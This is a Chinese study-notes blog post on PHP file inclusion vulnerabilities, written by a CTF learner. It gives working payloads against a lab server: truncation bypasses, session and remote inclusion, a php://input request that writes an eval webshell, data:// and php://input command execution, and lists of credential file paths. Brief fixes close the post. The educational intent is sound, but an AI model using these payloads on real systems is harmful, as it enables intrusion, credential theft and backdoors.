web安全原理-文件包含漏洞
前言
起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了 拿出买的书开始从头学习总结文件包含漏洞!
一、文件包含漏洞
文件包含漏洞
文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期文件。如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。
文件包含漏洞肯能会造成服务器网页被篡改、网站被挂马、服务器被远程控制、被安装后门等危害。
常见的文件包含函数:
1.include() 包含并运行制定文件。在出错时产生警告(E_WARNING),基本会继续运行。
2.include_once() 在脚本执行期间包含并运行制定文件。与include区别:检查是否被包含过,如果是则不会再次包含。
3.require()包含并运行指定文件。require在出错时产生E_COMPLE_ERROR几倍错误,脚本中止运行
4.require_once() 基本完全与require相同 与require区别:检查是否被包含过,如果是则不会再次包含。
漏洞示例代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
以上代码,对$_GET[‘filename’]参数没有经过严格的过滤,直接带入了include()函数,攻击者可以修改$_GET[‘filename’]的值,加载其他文件,执行非预期的操作,由此造成了文件包含漏洞;
我们在后面加上我们当前目录的文件1.txt 即可读取1.txt的内容显示出来
二、无限制本地文件包含漏洞
无限制本地文件包含漏洞
无限制本地文件包含漏洞是指代码中没有为包含文件制定特定前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码。
常见的敏感信息路径
Windows
c:\boot.ini // 查看系统版本
c:\XX\httpd.conf Apache配置信息
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix
/etc/passwd 账户信息
/etc/shadow 账户密码文件
/etc/httpd/conf/httpd.conf Apache配置文件
/etc/my.conf mysql 配置文件
/usr/local/app/apache2/conf/httpd.conf Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置
/usr/local/app/php5/lib/php.ini PHP相关配置
无限制本地文件包含漏洞示例:
<?php
$filename = $_GET['filename'];
include($filename);
?>
利用漏洞读取Mysql配置信息
payload:
http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini
利用无限制本地包含漏洞执行代码
三、有限制本地文件包含漏洞
简介:
有限制本地文件包含漏洞是指代码中为包含文件制定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤绕过的方式主要:有%00截断文件包含、路径长度截断文件包含、点号截断文件包含这三种
测试代码:
<?php
$filename = $_GET['filename'];
include($filename,".html");
?>
1.%00截断
%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤
漏洞利用条件:
(1) magic_quotes_gpc=off
(2) PHP<5.3.4
测试结果;
Payload: http://127.0.0.1/test.php?filename=xiaohua.txt%00
通过%00截断了后面的.html扩展名过滤,成功读取了xiaohua.txt文件的内容
2.路径长度截断文件包含
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断
漏洞利用条件
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
测试payload:
执行完成后成功截断后面的.html扩展名,包含了xiaohua.txt文件
3.点号阶段文件包含
点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。
测试payload:
http://127.0.0.1/test.php?filename=xiaohua.txt....................................................................................................................................................................................................................................................................
成功使用.号截断后面的.html扩展名,包含了我们想要的文件。
四、Session文件包含
定义:
当可以获取Session文件的路径并且Session文件的内容可控时,就可以通过包含Session内容可控。
利用条件:
1. Session的存储位置可以获取
2. Session内容可控
(1) 通过phpinfo的信息获取session的存储位置
Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。
<?php
session_start();
$ctfs = $_GET['ctfs'];
$_SESSION['username']=$ctfs;
?>
此代码的$ctfs变量的值可以通过GET型ctfs参数传入。PHP代码将会获得GET型ctfs变量的值存入Session中。攻击者可以利用GET型ctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代
码。
漏洞利用payload:
http://127.0.0.1/test.php?ctfs=<?php phpinfo(); ?> 将php语句写入session中
http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session文件
session文件名(真正的文件名默认都有个前缀就是sess_)
五、远程文件包含
一、无限制远程文件包含
无限制远程文件包含是指文件的位置并不是本地服务器,而是通过URL形式包含其他服务器上的文件,执行文件中的恶意代码。
漏洞利用条件:
(1) allow_url_fopen=on
(2) allow_url_include=on
漏洞代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
Payload:
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt
包含在xiaohua.txt中的PHP代码通过远程文件包含被成功当成PHP代码解析。
二、有限制远程文件包含
有限制远程文件包含是指当代吗中存在特定的前缀或者.php、.html等扩展名过滤时,攻击者仅需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。
漏洞代码:
<?php
$filename = $_GET['filename'];
include($filename.”.html”);
?>
1. 问号绕过
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?
2. #号绕过
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#号要编码)
3. 空格绕过
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20是空格的url编码)
FUZZ可以大量检测
六、PHP伪协议
PHP带了很多内置URL风格的封装协议,可用于fopen、copy、file_exists和filesize等文件系统函数。除了这些内置封装协议,还能通过stream_wrapper_register注册自定义的封装协议。这些协议都被称为伪协议。
File:// ——访问本地文件系统
http:// ——访问HTTP(s)网址
ftp:// ——访问FTP(s)URLs
php:// 访问各个输入/输出流(I/o streams)
zlib:// 压缩流
data:// 读取数据(RFC2397)
glob:// 查找匹配的文件路径模式
phar:// PHP归档
ssh2:// Secure Sheel2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流
php://伪协议
php://伪协议是PHP提供的一些输入输出流访问功能,允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写入文件资源的过滤器。
1. php://filter
php://filter 是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件进行读写。
漏洞利用条件:
利用php:filter读本地磁盘文件时不需要开启allow_url_fopen和allow_url_include
用法:
(1):filename=php://filter/read=convert.base64-encode/resource=xx.php
(2):filename=php://filter/convert.base64-encode/resource=xxx.php
参数:
Resource=<要过滤的数据流> 必需
read=<读链的筛选列表> 可选
write=<写链的筛选器列表> 可选
漏洞代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
Pyload:
http://127.0.0.1/test.php?filename=php://filter/read=convert.base64-encode/resource=test.php
利用php://filter获取了test.php文件的Base64编码
2. php://input
php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype=”multipart/form-data”的时候php://input是无效的。
(1):读取POST数据
利用条件:
示例代码:
<?php
echo file_get_contents("php://input")
?>
上面代码输出file_get_contents函数获取的php://input数据。测试传入POST数据 字符串xiaohua最终输出该字符串 。php://input可以获取POST传入的树
(2)写入木马
利用环境:
需要开启allow_url_include=on
漏洞代码:
<?php
$filename=$_GET['filename'];
include($filename);
?>
Payload:
URL: http://192.168.1.110/test.php?filename=php://input
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[xiaohua])>')?>
通过php://input执行后成功在网站根目录创建了shell.php
(3) 执行命令
根写入木马漏洞代码操作基本类似知识post部分需要改
Post:<?php system(‘whoami’);?>
url: http://192.168.1.110/test.php?filename=php://input
3. file://伪协议
file://伪协议可以访问本地文件系统,读取文件的内容
示例代码:
<?php
$filename=$_GET['filename'];
include($filename);
?>
Payload:
http://192.168.1.110/test.php?filename=file://C:\phpStudy\PHPTutorial\WWW\xiaohua.txt
4. data://伪协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
利用环境:
allow_url_include=on
allow_url_fopen=on
使用方法:
data://text/plain;base64,xxxx(base64编码后的数据)
代码示例
<?php
$filename=$_GET['filename'];
include($filename);
?>
对<?php system("dir")?>进行base64编码
PD9waHAgc3lzdGVtKCJkaXIiKT8+ 最后有个+号进行url编码+=%2b
最终payload:
http://192.168.1.110/test.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b
5. phar://伪协议
phar://是用来进行解压的伪协议,phar://参数中的文件不管是什么扩展名,都会被当做压缩包
利用环境
PHP>5.3.0
Allow_url_include=on
Allow_url_fopen=on
示例代码:
<?php
$filename=$_GET['filename'];
include($filename);
?>
用法:
?file=phar://压缩包/内部文件->phar://xxx.png/shell.php
压缩包要用zip://伪协议压缩,而不能用rar://伪协议
新建xiaohua.txt里面包含恶意代码压缩为xiaohua.zip 或者压缩完改后缀jpg上传 然后执行
Payload:http://127.0.0.1/test.php?filename=phar://xiaohua.jpg/xiaohua.txt
6. zip://伪协议
zip://伪协议和phar://伪协议在原理上类似,用法不一样
利用环境
PHP>5.3.0
Allow_url_include=on
Allow_url_fopen=on
示例代码:
<?php
$filename=$_GET['filename'];
include($filename);
?>
用法:
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
Eg:zip://xxx.png#shell.php
Payload: 192.168.1.110/test.php?filename=zip//shell.png:shell.php
新建xiaohua.txt里面包含恶意代码压缩为xiaohua.zip 或者压缩完改后缀上传 然后执行
Payload:http://127.0.0.1/test.php?filename=zip://C:\phpStudy\PHPTutorial\WWW\xiaohua.zip%23xiaohua.txt
7. expect://伪协议
expect://伪协议主要用来执行系统命令,但是需要安装扩展
用法:?file=expect://ls
文件包含漏洞修复
- 代码层修复
进行文件过滤,将包含的参数设置为白名单即可
2. 服务器安全配置
(1) 修改PHP配置文件,将open_basedir的值设置为可以包含特定目录后面要加/
Eg:open_basedir=/var/www/html
(2) 修改PHP的配置文件,关闭allow_ur_include 可以防止远程文件包含
PHP官方手册:https://www.php.net/manual/en/wrappers.php.php
参考学习:<<web安全原理分析与实践>>
web安全原理-文件包含漏洞的更多相关文章
- 风炫安全web安全学习第三十四节课 文件包含漏洞防御
风炫安全web安全学习第三十四节课 文件包含漏洞防御 文件包含防御 在功能设计上不要把文件包含的对应文件放到前台去操作 过滤各种../,https://, http:// 配置php.ini文件 al ...
- 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...
- 记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
- php安全开发(1)文件包含漏洞
开发过程总结的漏洞: 一,,如何造成包含漏洞:在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶 ...
- PHP文件包含漏洞攻防实战
本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. PHP是一种非常流行的W ...
- Apache Tomcat 文件包含漏洞(CVE-2020-1938)
2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938).该漏洞是由于Tomcat AJP协议存在缺陷 ...
- Tomcat AJP 文件包含漏洞复现(CVE-2020-1938)
漏洞原理 Tomcat配置了两个Connecto,它们分别是HTTP和AJP. HTTP默认端口为8080,处理http请求:AJP默认端口8009,用于处理 AJP 协议的请求. AJP比http更 ...
- ✔PHP文件包含漏洞全面总结
我的另一篇博客总结的不够全面,但依然有借鉴价值:https://www.cnblogs.com/Zeker62/p/15192610.html 目录 文件包含的定义 文件包含漏洞常见函数 文件包含漏洞 ...
随机推荐
- 2020-2021-1 20209306 《linux内核原理与分析》第一周作业
学习过程中遇到了如下的问题,通过探索找到了可以解决的方法 1.如何退回主目录或者编辑某个文件夹. 使用cd/home可以退回主目录,这里注意的是绝对路径和相对路径的区别,在学习时我试图切换到home目 ...
- Pyqy5 让窗口居中
# QDesktopWidget import sys from PyQt5.QtWidgets import QDesktopWidget,QMainWindow,QApplication from ...
- 用一道模板题理解多源广度优先搜索(bfs)
题目: //多元广度优先搜索(bfs)模板题详细注释题解(c++)class Solution { int cnt; //新鲜橘子个数 int dis[10][10]; //距离 int dir_x[ ...
- h5 返回上一页面方法
//以下方法仅供参考1.返回上一页,不刷新history.html window.history.go(-1); javascript:window.history.go(-1) 2.返回上一页并刷 ...
- CNN作为denoiser的优势总结
图像恢复的MAP推理公式: $\hat{x}\text{}=\text{}$arg min$_{x}\frac{1}{2}||\textbf{y}\text{}-\text{}\textbf{H}x| ...
- ATOM基础教程一使用前端插件emmet(16)
emmet简介 http://blog.csdn.net/zsl10/article/details/51956791 emmet的前身是Zen coding,从事Web前端开发的工程师对该插件并不陌 ...
- Git系列:常用命令
一.背景 作为一名程序员,怎么能不懂Git那些常用命令呢?于是花费一点时间来总结Git命令.关于安装的话,就不讲了. 二.常用命令 1.配置全局的用户名称和用户邮箱 git config --glob ...
- PLC扩展模拟量输入模块是什么
PLC模拟量输入模块就是采集电压.电流.热电阻.热电偶或者是温度等模拟量的采集模块,然后再通过总线传输到电脑上的智能模块.其实就是一款将远程现场的模拟量信号采集到计算机的设备,模拟量是表示了在一定的范 ...
- Charles使用part2——代理设置
一.charles代理原理: 如果本地开了代理: 二.设置代理 1.设置代理端口: proxy->proxy setting 打开代理设置界面,代理端口默认是 8888,可以使用默认也可以自己 ...
- 03_ubuntu samba 安装配置
03_ubuntu samba 安装配置 安装samba sudo apt install samba 修改samba配置文件 sudo vim /etc/samba/smb.conf [share] ...